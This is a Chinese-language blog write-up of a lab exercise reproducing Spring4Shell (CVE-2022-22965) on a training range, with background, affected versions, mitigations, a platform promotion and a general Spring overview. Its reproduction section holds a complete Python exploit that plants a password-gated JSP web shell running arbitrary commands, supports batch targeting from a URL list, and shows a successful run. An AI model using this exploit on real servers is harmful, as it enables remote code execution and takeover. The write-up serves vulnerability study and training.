Spring Framework JDK >= 9 远程代码执行(CVE-2022-22965)

本文涉及的产品
云解析 DNS,旗舰版 1个月
全局流量管理 GTM,标准版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
简介: Spring Framework JDK >= 9 远程代码执行(CVE-2022-22965)

前言

CVE-2022-22965 是一个影响 Spring Framework 的远程代码执行漏洞,被广泛称为 "Spring4Shell"。该允许者通过特制的 HTTP 请求在受影响的应用程序上执行任意代码。

描述

Spring Framework 是一个用于构建企业级 Java 应用程序的开源框架。CVE-2022-22965 存在于 Spring MVC 和 Spring WebFlux 模块中,主要与 JDK 9 及以上版本的类加载机制相关。可以通过构造特定的请求来利用该,导致任意代码执行。

影响

受影响的软件版本:

  • Spring Framework 5.3.0 至 5.3.17
  • Spring Framework 5.2.0 至 5.2.19

影响使用 Spring Framework 构建的 Web 应用程序,这些应用程序可能会暴露在的恶意请求下。

利用

  1. 构造特制请求
  • 通过构造特制的 HTTP 请求,利用 Spring Framework 的类加载机制和特定的类属性,进行恶意代码的注入和执行。
  1. 执行任意代码
  • 服务器在处理这些特制请求时,解析并执行恶意代码,导致攻击者能够在受影响的应用程序上执行任意代码。

缓解措施

为了防止 CVE-2022-22965 的利用,建议采取以下措施:

  1. 更新软件
  • 检查并应用 Spring Framework 官方提供的最新安全更新或补丁。该漏洞已在更新版本中得到修复。
  • 升级到 Spring Framework 5.3.18 或 5.2.20 版本。
  1. 使用安全配置
  • 确保应用程序的配置文件和属性安全,避免通过外部输入进行任意类属性的设置。
  • 禁用或限制对不安全的类属性的访问。
  1. 输入验证
  • 实现严格的输入验证,确保所有用户输入都经过适当的验证和过滤,防止恶意数据的注入。
  1. 安全编码实践
  • 遵循安全编码实践,避免在代码中直接使用用户输入的数据,特别是在涉及到类属性设置时。

春秋云场是一个专注于网络安全培训和实战演练的平台,旨在通过模拟真实的网络环境和场景,提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点:


实战演练:


提供各种网络安全攻防演练场景,模拟真实的网络事件,帮助用户在实际操作中掌握网络安全技术。

场景涵盖Web安全、系统安全、网络安全、社工等多个领域。


复现:


用户可以通过平台对已知的安全进行复现,了解的产生原因、利用方法和修复措施。

通过实战操作,帮助用户掌握利用和防护的技能。


教学培训:


提供系统化的网络安全课程,从基础到高级,覆盖多个安全领域,适合不同水平的用户。

包含理论讲解和实战操作,帮助学员全面提升网络安全知识和实战能力。


竞赛与评测:


定期举办网络安全竞赛,如CTF(Capture The Flag)比赛,激发学员的学习兴趣和动力。

提供个人和团队的安全能力评测,帮助学员了解自己的安全技能水平。


资源共享:


平台提供丰富的学习资源,包括教程、工具、案例分析等,方便用户随时查阅和学习。

用户可以在社区中分享经验和资源,互相交流和学习。


春秋云镜适合网络安全从业人员、学生以及对网络安全感兴趣的个人,通过在平台上进行不断的学习和实战演练,可以有效提升网络安全技能和防护能力。

介绍

Spring Framework 是一个功能强大的开源框架,用于构建企业级 Java 应用程序。它由 Rod Johnson 创建,并于 2003 年首次发布。Spring Framework 提供了广泛的基础设施支持,使开发者能够更加简洁、高效地构建应用程序。

核心功能和特性

  1. 依赖注入(Dependency Injection)
  • Spring Framework 的核心是依赖注入机制,它通过 Inversion of Control (IoC) 容器实现。依赖注入使得对象之间的依赖关系由框架管理,减少了代码的耦合性,提高了可测试性和可维护性。
  1. 面向切面编程(Aspect-Oriented Programming, AOP)
  • Spring AOP 模块提供了面向切面编程的功能,允许开发者在不修改业务逻辑代码的情况下定义和应用横切关注点,如日志记录、事务管理和安全检查等。
  1. 数据访问
  • Spring 提供了一套强大的数据访问功能,支持 JDBC、ORM 框架(如 Hibernate、JPA)以及 NoSQL 数据库。它简化了数据库操作,提供了一致的事务管理机制。
  1. 事务管理
  • Spring Framework 提供了灵活的事务管理机制,支持声明式事务和编程式事务管理。它与数据访问模块无缝集成,简化了复杂的事务处理。
  1. Spring MVC
  • Spring MVC 是一种强大的 Web 框架,基于 Model-View-Controller 设计模式。它提供了丰富的注解支持、视图解析、表单处理和数据绑定功能,简化了 Web 应用程序的开发。
  1. RESTful Web 服务
  • Spring 提供了构建 RESTful Web 服务的支持,简化了 REST API 的开发和测试。通过 Spring MVC,开发者可以轻松地定义 RESTful 控制器和处理请求。
  1. 安全性
  • Spring Security 模块提供了全面的安全解决方案,包括认证和授权、CSRF 防护、加密等。它可以与各种身份验证机制集成,如 LDAP、OAuth、JWT 等。
  1. 消息传递
  • Spring 支持消息传递和异步通信,提供了与 JMS、AMQP 等消息中间件的集成,简化了消息驱动应用程序的开发。
  1. Spring Boot
  • Spring Boot 是 Spring 生态系统中的一个子项目,它简化了 Spring 应用程序的开发和部署。通过自动配置、内嵌服务器和简化的依赖管理,Spring Boot 使得开发者可以快速构建生产级的 Spring 应用程序。

生态系统和社区

  1. 广泛的生态系统

Spring Framework 拥有一个庞大且活跃的生态系统,涵盖了从微服务、云原生开发到大数据处理的各个领域。Spring Cloud、Spring Data、Spring Batch、Spring Integration 等子项目丰富了 Spring 的功能,满足了不同应用场景的需求。

  1. 活跃的社区
  • Spring 拥有一个活跃的开发者社区,提供了大量的文档、教程、示例代码和支持。Spring 官方网站、GitHub 以及 Stack Overflow 等平台上有丰富的资源供开发者学习和交流。
  1. 商业支持
  • Pivotal(现为 VMware Tanzu)提供了商业支持和培训服务,帮助企业用户更好地利用 Spring 技术构建和维护应用程序。

总结


Spring Framework 是一个功能强大且灵活的企业级 Java 开发框架。通过依赖注入、AOP、数据访问、事务管理、Spring MVC、RESTful 服务、安全性、消息传递等功能,Spring 提供了一整套解决方案,简化了 Java 应用程序的开发和维护。Spring Boot 的出现更是进一步提升了开发效率,使得 Spring 成为现代 Java 开发的首选框架之一。Spring 的广泛生态系统和活跃社区为开发者提供了丰富的资源和支持,使得他们能够轻松应对各种复杂的应用场景。

复现

打开

什么都没有

网上查找到了 Poc

import requests
import argparse
from urllib.parse import urljoin
 
 
def Exploit(url):
    headers = {"suffix": "%>//",
               "c1": "Runtime",
               "c2": "<%",
               "DNT": "1",
               "Content-Type": "application/x-www-form-urlencoded"
 
               }
    data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    try:
        requests.post(url, headers=headers, data=data, timeout=15, allow_redirects=False, verify=False)
        shellurl = urljoin(url, 'tomcatwar.jsp')
        shellgo = requests.get(shellurl, timeout=15, allow_redirects=False, verify=False)
        if shellgo.status_code == 200:
            print(f"Vulnerable,shell ip:{shellurl}?pwd=j&cmd=whoami")
    except Exception as e:
        print(e)
        pass
 
 
def main():
    parser = argparse.ArgumentParser(description='Spring-Core Rce.')
    parser.add_argument('--file', help='url file', required=False)
    parser.add_argument('--url', help='target url', required=False)
    args = parser.parse_args()
    if args.url:
        Exploit(args.url)
    if args.file:
        with open(args.file) as f:
            for i in f.readlines():
                i = i.strip()
                Exploit(i)
 
 
if __name__ == '__main__':
    main()

requests: 用于发送HTTP请求。

argparse: 用于解析命令行参数。

urljoin: 用于将基础URL与相对路径组合成一个完整的URL。

headers: 设置HTTP请求头。

suffix: 指定生成的JSP文件的结束标记。

c1 和 c2: 替换变量,用于在请求数据中插入Runtime 和 <%,以构造恶意JSP代码。

DNT 和 Content-Type: 设置请求头以伪装正常请求。

data: 构造的恶意JSP代码,通过URL编码后作为请求体发送。

class.module.classLoader.resources.context.parent.pipeline.first.pattern: 这个参数指定Tomcat的日志模式,并插入恶意代码。

class.module.classLoader.resources.context.parent.pipeline.first.suffix: JSP文件后缀。

class.module.classLoader.resources.context.parent.pipeline.first.directory: 指定生成的JSP文件的存放目录。

class.module.classLoader.resources.context.parent.pipeline.first.prefix: 生成的JSP文件的前缀。

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat: 空字符串,防止生成多个文件。

requests.post: 发送恶意请求以在目标服务器上生成JSP Web shell。

urljoin: 生成Web shell的URL。

requests.get: 检查Web shell是否成功创建并可访问。

argparse.ArgumentParser: 设置命令行参数解析器。

--file: 包含目标URL列表的文件。

--url: 单个目标URL。

args: 解析命令行参数。

if args.url: 如果提供了--url参数,调用Exploit函数对单个目标进行。

if args.file: 如果提供了--file参数,读取文件中的每个URL,并调用Exploit函数对每个目标进行

使用脚本

PS D:\CVE> python .\CVE-2022-22965.py --url "http://eci-2zed5tpm2rmge2cehamt.cloudeci1.ichunqiu.com:8080/"
Vulnerable,shell ip:http://eci-2zed5tpm2rmge2cehamt.cloudeci1.ichunqiu.com:8080/tomcatwar.jsp?pwd=j&cmd=whoami
PS D:\CVE> 

成功!!!

拿到 flag

相关文章
|
7月前
|
Java 开发者 Spring
Spring Framework 中的 @Autowired 注解:概念与使用方法
【4月更文挑战第20天】在Spring Framework中,@Autowired 注解是实现依赖注入(Dependency Injection, DI)的一种非常强大的工具。通过使用 @Autowired,开发者可以减少代码中的引用绑定,提高模块间的解耦能力
719 6
|
4月前
|
Java
Spring5入门到实战------9、AOP基本概念、底层原理、JDK动态代理实现
这篇文章是Spring5框架的实战教程,深入讲解了AOP的基本概念、如何利用动态代理实现AOP,特别是通过JDK动态代理机制在不修改源代码的情况下为业务逻辑添加新功能,降低代码耦合度,并通过具体代码示例演示了JDK动态代理的实现过程。
Spring5入门到实战------9、AOP基本概念、底层原理、JDK动态代理实现
|
2月前
|
Java 关系型数据库 开发工具
idea创建不了spring2.X版本,无法使用JDK8,最低支持JDK17 , 如何用idea创建spring2.X版本,使用JDK8解决方案
本文提供了解决方案,如何在IDEA中创建Spring 2.X版本的项目并使用JDK8,尽管Spring 2.X已停止维护且IDEA不再直接支持,通过修改pom.xml或使用阿里云的国内源来创建项目。
136 0
idea创建不了spring2.X版本,无法使用JDK8,最低支持JDK17 , 如何用idea创建spring2.X版本,使用JDK8解决方案
|
6月前
|
前端开发 Java 调度
Spring Webflux 是 Spring Framework 提供的响应式编程支持
Spring Webflux 是 Spring Framework 提供的响应式编程支持
88 2
|
6月前
|
前端开发 Java 应用服务中间件
Spring框架第六章(SpringMVC概括及基于JDK21与Tomcat10创建SpringMVC程序)
Spring框架第六章(SpringMVC概括及基于JDK21与Tomcat10创建SpringMVC程序)
|
5月前
|
Cloud Native Java 开发者
深入解析Spring Framework的核心设计原理
深入解析Spring Framework的核心设计原理
|
5月前
|
安全 Java Apache
如何安装与使用Spring Boot 2.2.x、Spring Framework 5.2.x与Apache Shiro 1.7进行高效开发
【7月更文第1天】在现代Java Web开发领域,Spring Boot以其简化配置、快速开发的特点备受青睐。结合Spring Framework的成熟与Apache Shiro的强大权限控制能力,我们可以轻松构建安全且高效的Web应用。本篇文章将指导你如何安装并使用Spring Boot 2.2.x、Spring Framework 5.2.x以及Apache Shiro 1.7来构建一个具备基础权限管理功能的项目。
90 0
|
7月前
|
前端开发 Java 编译器
详解Spring与JDK注入
依赖注入是Spring框架的核心概念之一,它通过将对象之间的依赖关系外部化,实现了松耦合和可测试性。面向切面编程则允许开发人员将横切关注点(如日志、事务管理)从应用程序的主要业务逻辑中分离出来,以提高代码的模块化和可维护性。
63 4
|
6月前
|
Java Spring
深入解析Spring源码,揭示JDK动态代理的工作原理。
深入解析Spring源码,揭示JDK动态代理的工作原理。
68 0
|
7月前
|
前端开发 Java Spring
Spring Framework五大功能模块
Spring Framework五大功能模块
下一篇
DataWorks